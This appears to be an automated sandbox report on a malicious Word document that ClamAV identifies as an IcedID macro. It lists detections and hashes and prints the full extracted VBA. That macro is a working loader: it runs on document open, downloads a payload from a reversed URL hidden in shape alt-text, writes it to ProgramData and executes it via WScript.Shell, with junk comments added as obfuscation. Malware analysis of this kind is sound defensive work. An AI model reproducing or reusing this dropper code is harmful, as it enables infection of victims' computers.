MALICIOUS
230
Risk Score
Heuristics 6
-
ClamAV: Doc.Macro.ICEID1020-9781212-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.ICEID1020-9781212-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set pHFPz = CreateObject("Script" + hcohA) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 11979 bytes |
SHA-256: 2748440501562ef9e98e08ad4795b265f629216ea78acb2fa279c8ee87340911 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "qKlAh"
Sub Pwibp(aAcok, Optional ByVal jyLZM As String = "c:\programdata\BNogX.txt", Optional ByVal hcohA As String = "ing.FileSystemObject")
' Riflings
' Plotters idly
' Looked symbolises
' Slaving earthquake abattoirs wheedled
' Unheated bitter tightens
' Garish daunt
' Thrifty asked thrice
' Quill hunchback
' Crowed signpost
' Confidences excluding unlocked fret
' Overlord deepens capstans hire
' Lubricates blackmailed
' Brigadier vulgarities
' Jaywalker torso
' Ushered insuring lorries mend
Set pHFPz = CreateObject("Script" + hcohA)
' Scholar
' Polewards expenses bitching
' Feasted forbade dilettante retaining
' Backlog chirped outlays molarity
' Ultimacy frosty ordinands herb
' Toiletry escapees lamentable nonexistent parties
Set iNScw = pHFPz.CreateTextFile(jyLZM)
' Ideological inheritable mannerly wrathfully sons frisks
' Pancakes slobbering unearned
' Obliged tutor cattle previewers
' Navigated
' Canoe elate
' Bodywork plagiarising organism indite
iNScw.WriteLine aAcok
' Nudges civies lifters meagre
' Instantiating originators ineffectual underlying
' Love stuttered
' Twitch brainwaves coder trice
' Aversions bedfellows
iNScw.Close
' Disappearance complexioned expectation materialising formalist
' Screenwriter spectrum golly
' Refutable omitted probative congestive lipread nipple
' Dote palatine jointing
' Fails revolting
' Heiress sinusoid
' Distasteful syphilis transpiration perpendicular finished
' Locusts scattered
' Gearbox heartrending bratty hyphenate
' Hobnailed underlinings curtain mutterer capitation
' Upstages jogging internally afloat grooms
' Slogs relation changed nailbiting unboiled
' Hoofs onlybegotten
' Spirituals pivoted different
' Commends weaselling
' Ironmonger unregenerate unhygienic tailors convened gnawer
' Page
' Exhibit
' Staunch
' Perpetrator scriptwriting relegating floggers
' Apologises
' Crisps decompressed enounced arises shoves
' Putter candidate parties expunges
' Affluent conferred
' Horror missile
' Warfare furbished wealthy resignation barrage
' Building avenge northwards
' Carburettors hookah unlearned
' Belayed plastered conciliating eaters anhydrous escalating
' Dayold misfires intersecting
' Juggernaut repeatably
' Tinier depressing
' Caterwauls warble overdoes
' Hereditary confirms tarns construe
' Humiliate sneaking
' Dissociation realpolitik collapses
' Calamity yellowish rudiments
' Checks abet
' Concepts
End Sub
' Perceives toothbrush staunching acquisitiveness
' Evade barking
' Traditionalism bubonic
' Laboriously
Sub AutoOpen()
' Biospheres passim librarian
' Weak topographic eulogises relishing eradicate nguni
' Twentieth tautly academies redeploy
' Vectorised tambourine
' Muffle shoddier mousetraps holograms
' Adumbrating casualness
' Emerald reorders clergies
' Essayists airliner
' Statement chatterbox
' Almond unconstitutional mendicant
' Dished presentations equity
' Danish waggly volcanically
' Eras
' Adopter illogic shortcomings
' Protrude
' Christ bursars
' Grandmothers devisal effectors
' Suspected carrycot glaciation journal charitable
' Deviates astrophysicist
' Smudge bookcase booth behest jussive
' Pallbearers ringworm cranial
' Wilderness irresolution heightens unimaginatively accumulations tunisia
' Uvular correspondingly bollards unbloodied foreseeability colonnade
' Vanquish resin crams
' Liquidation permutation
' Karate temporally refractory precipice
Dim laOGl As New iekTC
' Etymologically
' Dab resolvability cruiser obtainable speedup
' Dithers earthlings
' Reprocessed orthonormal rainy tipper opulent
' Lifespans oilrig
aAcok = laOGl.qyItw("MSXML2.serverXMLHTTP")
' Illequipped kitchens drunker
' Gates workdays instalments valued caution mixers
' Rights envelops guiders miners crystallographers
' Refinish earthshaking
' Acceptability exemplifies ejector
Pwibp oHFrs(aAcok)
' Notepads pseudonymous rasters
' Monkfish
' Adhesion thoroughgoing
' Contours saboteur tracheal
' Injoke
' Cryptography copperplate
' Beeping convects
' Weaknesses interspersed
' Rustles pitchforks neutering
' Discern usurper neutralise disdained
' Dirtied stuffer
' Taipei punning
' Pixels catalogues neaten
TSAAx ICfFi(0) + "vr32 c:\programdata\BNogX.txt", "ws"
End Sub
Function OSvvN(yGMvV, NcVOg)
' Culling brace superstructure moist
' Ungerminated ethology conversational
' Dissolve animosities kneed antonyms familiarising speckle
' Rinses ritualised houseful obstructive bombardier unpersonalised
OSvvN = Split(yGMvV, NcVOg)
End Function
Attribute VB_Name = "Ozgaj"
' Teletext laybys fulltimer brazenly
' Acquisition princely folly instancy
' Blink recirculate parenthesise safeness fruitcakes conceits
' Illustrators
' Angelica racecourses mucking
' Forges
' Guards connoting tiling playboy dusty synthesiser
' Computerise canvassers hybridisation jocular incorruptible
Function oHFrs(hhWhY)
' Midwives
' Wedding gift menu
' Decidable adorn harp gentler rings apartness
' Sessions brushed
' Practise
oHFrs = StrConv(hhWhY, vbUnicode)
' Disagreeably unknowns unchain invisibly
' Divider lawn bloodbath influenza baseballs ungerminated zag
' Policing embarkation emperors
' Indefinable dioxins
' Flood rusted
' Surrounding constrained load
' Negatives trippers misjudging
End Function
' Townsfolk linked flyovers premeditated unbroken disgorging
' Goatee
' Chandeliers rowing valuable interchanges finite
' Courtmartial collaborationist pollinate vilified revel
' Untying skullduggery
Function QanMi()
' Instinctual pulpy inaudibly
' Wavered unstated exhaustible pulmonary confirmed
' Ninety treetop resumption
' Dished kindergarten lorryloads disclaimed
' Statesmen tankful realise inbound accrue
' Decompressed
' Rigor
' Pivotal maladroit rationale
' Accusing downtrodden least feuding deducing
' Gaiety furry rockfalls
With ActiveDocument.shapes(1)
QanMi = .AlternativeText
End With
End Function
' Sorcerers retaken wait
' Curators selfemployed
' Seacow propulsive
' Indictments quicksands handout redial
' Periphrasis lightheadedness canisters giving
Function ICfFi(IqYok)
' Staunchness
' Contriving robber hart subjugated
' Wending beloved integrator codifying
' Precluded illogical foxtrots crossreference
' Lacrosse chattel puzzling humoured
' Plasmids bonfires potshots
' Nonevent inconsistently flukiest cheesemaking
' Collagen projectiles
' Microdot anginal backstage trifling tardily
' Immigrated carbohydrate methanol
' Annoyers congresses monocytes inquisitiveness unrelated
' Matrixes ratlike overdoing underpin played
vNLhn = QanMi()
OdpIL = OSvvN(vNLhn, "###")
WiART = OdpIL(IqYok)
ICfFi = WiART
End Function
Attribute VB_Name = "iekTC"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Reverse(Text)
Dim i As Integer
Dim StrNew As String
Dim strOld As String
strOld = Trim(Text)
For i = 1 To Len(strOld)
StrNew = Mid(strOld, i, 1) & StrNew
Next i
Reverse = StrNew
End Function
' Tugged rewordings sailor
' Kungfu gobbledegook reconsideration
' Explosions contest ripple
' Hires occasions sturdier substructure
' Breakage bug figtree
Function qyItw(dROei)
' Woodworm eardrops
' Countersigned implementer thereby
' Cist bedtime dissociating
' Minaret retort
' Transportation actions shoeless
' Attractive thoroughfare triangulation improbability complimented peals repaint
Dim dtGaQ As Object
' Leases televisions codification versus
' Refuelling losses published
' Genuinely rumen trustworthiness
' Faithfully thicket skinless
' Plutonic etcher conforming
' Duplicities ensembles learnedly restarting sepia snuffing
' Warring bloodsport thermometer curried creed headline
' Verities reprogrammed
' Beneficially
' Islet advances unplanned wives perfidiously
' Duds
' Vegetables heavies
' Articulations deletions appended dressmaker strangest
' Rambled
' Gouged measurably gratitude pollutant
Set dtGaQ = CreateObject(dROei)
' Surplus
' Homewardbound erasers earthling mourned centrally unreasoned
' Underling decompressed foreground
' Hosiery
' Curer hallucinate twin plop crystals
' Topiary contamination privatisations acquittals
' Programmable touchandgo threesome reshuffle fragmentary
' Grecian interfered justificatory
' Parrots spartan treadmill normans
' Primes
' Caldera
' Base stretching symmetrical
' Accompanied heck declaims pearl polysaccharide
' Meteoric awaken debased
' Lipsticks awoken
' Kayaks heavyweight
' Understatement
' Positions lover reals antithetic rick liberates agony
' Folk emanations
' Zealously dazzling salubrity crustiest
' Albums gaberdine semiconscious
' Envelops ventured unexpurgated stubbing dimensional feasibility shipmate chalking
YhBMh = ICfFi(1)
' Firearm substantiated formers
' Radium overcomplicated
' Carcinomas gourd
' Parachutist
' Heydays skids jaws
dtGaQ.Open "GET", Reverse(YhBMh), False
' Narrator
' Bloodstream wrenching
' Cellar racists rectums throttle
' Tampered outlying
' Crosiers narrates wiliest leprechauns
dtGaQ.Send
' Sojourners smallholder slumped collecting
' Extrapolations barbecues
' Amusing xylophonist inaccuracy endurance
' Unhealthily
' Evaluators rants submitter spanish
' Seizer redeploying
' Erring sherds
' Infliction basalts saintlier
qyItw = dtGaQ.responsebody
End Function
Attribute VB_Name = "nkmqO"
Sub TSAAx(etLPY, XLZvn)
' Expressionless serpents fiddler persuading
' Diseased
' Linnets potassium infrastructures
' Gladioli doting buttress crocus
Set UcQHp = CreateObject(XLZvn + "cript.shell")
' Poikilothermic scarily
' Frazzle
' Production skis fretless
' Kilted allotment rivulet
' Undermined beheld cumbersomely
' Nineties province anarchy
' Alabama poser absconder adieus
' Harvester articulatory rowdier regality
' Grandstand wakening
' Racially guzzled
' Zombie
' Calloused indent carrots
' Sycamores devoice is radiographs geek
' Misquotes absurdist martini verandah slithery quack revering
' Typographic attacks wham
' Occasionally
' Baptised haunting poisonings permanence
' Acidrain multiplexors elephantine excavating workdays wrestled
' Unsatisfying
' Housebuilding maligned palettes strudels lieutenants
' Woolliness sabbatical stirs centralism
' Shout militancy multiplicities
' Endowed mousetrap ponderous syphilitic
' Coding
' Shrewd pronouncing malformed
' Strident thirstily
' Printable beefcake
' Brandish uncountably
' Wingless lather porches glaringly plays
' Landlady medicine staunchly cleaver listing
' Unfortunate instated moths
' Montage ventricles
' Masseurs trickster dismissed abundantly serfs
' Speaks viewpoints provinces
' Hypochondria unbuttoning
' Recogniser polysaccharide infant encourage overhangs
' Hijacking yachtsman
' Griffon beg
' Contiguous arctic rooibos thunder
' Ammunition redheaded indebtedness porch markups
' Fleeced
' Treadmill chronologically goddess debts thicknesses
' Applicators workshy endowed
' Postcards
' Immunosuppression asteroid tablecloths libretto
' Encircling forgive
' Uncongenial novels possessing
' Unknown pleasurably dendrochronology jingo
' Fining
UcQHp.exec etLPY
' Brainteasers warning predominating
' Predicted wildernesses propose concord martyr fidelity
' Apnoea creaks
' Percolators
' Clucking crammer
' Querying feudist churchgoer
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 45056 bytes |
SHA-256: 3d93ab0782c34bb4f1be791c11ec7df3845e650db1b6d3c840f414d427e764ae |
|||
|
Detection
ClamAV:
Doc.Macro.ICEID1020-9781212-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.